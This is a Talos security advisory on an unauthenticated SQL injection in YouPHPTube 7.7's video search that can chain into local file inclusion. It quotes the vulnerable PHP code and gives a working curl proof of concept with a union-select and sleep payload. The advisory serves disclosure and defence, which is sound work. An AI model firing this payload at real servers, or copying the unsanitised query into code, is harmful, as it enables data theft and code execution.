Lucene search

K
talosTalos IntelligenceTALOS-2019-0940
HistoryOct 30, 2019 - 12:00 a.m.

YouPHPTube /objects/video.php getVideo search code execution vulnerability

2019-10-3000:00:00
Talos Intelligence
www.talosintelligence.com
297

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:H

0.001 Low

EPSS

Percentile

51.3%

Summary

An exploitable SQL injection vulnerability exist in YouPHPTube 7.7. When the “VideoTags” plugin is enabled, a specially crafted unauthenticated HTTP request can cause a SQL injection, possibly leading to denial of service, exfiltration of the database and local file inclusion, which could potentially further lead to code execution. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

YouPHPTube 7.7 commit b22e81d25b2a570f4867ea5dce5153ba4c76cc2d (Oct 15th 2019)

Product URLs

<https://www.youphptube.com/&gt;

CVSSv3 Score

8.9 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:H

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Details

YouPHPTube is an open-source web application written in PHP which allows users to share, upload and import videos from external websites.

The getVideo function in /objects/video.php doesn’t handle user input safely:

    static function getVideo($id = "", $status = "viewable", $ignoreGroup = false, $random = false, $suggetedOnly = false, $showUnlisted = false, $ignoreTags = false, $activeUsersOnly = true) {
        ...
[1]     $sql = "SELECT u.*, v.*, "
                . " nv.title as next_title,"
                . " nv.clean_title as next_clean_title,"
                . " nv.filename as next_filename,"
                . " nv.id as next_id,"
                . " c.id as category_id,c.iconClass,c.name as category,c.iconClass,  c.clean_name as clean_category,c.description as category_description,c.nextVideoOrder as category_order, v.created as videoCreation, "
                . " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = 1 ) as likes, "
                . " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = -1 ) as dislikes ";
        ...
[2]     if (!empty($_GET['search'])) {
            $_POST['searchPhrase'] = $_GET['search'];
        }

        if (!empty($_POST['searchPhrase'])) {
[3]         if (YouPHPTubePlugin::isEnabledByName("VideoTags")) {
                $sql .= " AND (";
[4]             $sql .= "v.id IN (select videos_id FROM tags_has_videos LEFT JOIN tags as t ON tags_id = t.id AND t.name LIKE '%{$_POST['searchPhrase']}%' WHERE t.id is NOT NULL)";
                $sql .= BootGrid::getSqlSearchFromPost(array('v.title', 'v.description', 'c.name', 'c.description'), "OR");
                $sql .= ")";
            } else {
                $sql .= BootGrid::getSqlSearchFromPost(array('v.title', 'v.description', 'c.name', 'c.description'));
            }
        }
        ...
        $res = sqlDAL::readSql($sql);
[5]     $video = sqlDAL::fetchAssoc($res);
        sqlDAL::close($res);
        ...

At [1] the SQL query string is initialized, at [2] the $_GET['search'] and $_POST['searchPhrase'] parameters are extracted from the request. If the “VideoTags” plugin is enabled [3], the searchPhrase is directly inserted in the query string at [4], which is later executed [5].

This function is reachable by an unauthenticated user by requesting the page /index.php.

Note that after the query is executed, the view /view/modeYoutube.php is included in the request, which eventually executes the code block below:

&lt;?php
$vType = $video['type'];
if ($vType == "linkVideo") {
    $vType = "video";
} else if ($vType == "live") {
    $vType = "../../plugin/Live/view/liveVideo";
} else if ($vType == "linkAudio") {
    $vType = "audio";
}
require "{$global['systemRootPath']}view/include/{$vType}.php";
?&gt;

The vType variable is extracted from one of the columns from the SQL query previously described. This means that an attacker can exploit the SQL injection to include any local php file in the system (LFI), possibly executing arbitrary code.

Proof of Concept

The following proof-of-concept demonstrates both the SQL injection and the local file inclusion vulnerabilities:

$ time curl "http://localhost:8182/?search='))%20union%20select%20"$(perl -e 'print "1,"x45 . "1234," . "2,"x33')"sleep(3)--%20x"
...
<b>Warning</b>:  require(/var/www/html/view/include/1234.php): failed to open stream: No such file or directory in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
<br />
<b>Fatal error</b>:  require(): Failed opening required '/var/www/html/view/include/1234.php' (include_path='.:/usr/local/lib/php') in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
curl -s   0.01s user 0.01s system 0% cpu 9.379 total

The code tried to include the file 1234.php, and the query took nine seconds to execute (the same query is executed three times on the server side).

Timeline

2019-10-23 - Vendor disclosure
2019-10-29 - Vendor patched
2019-10-30 - Public release

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.9 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

LOW

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:H

0.001 Low

EPSS

Percentile

51.3%

Related for TALOS-2019-0940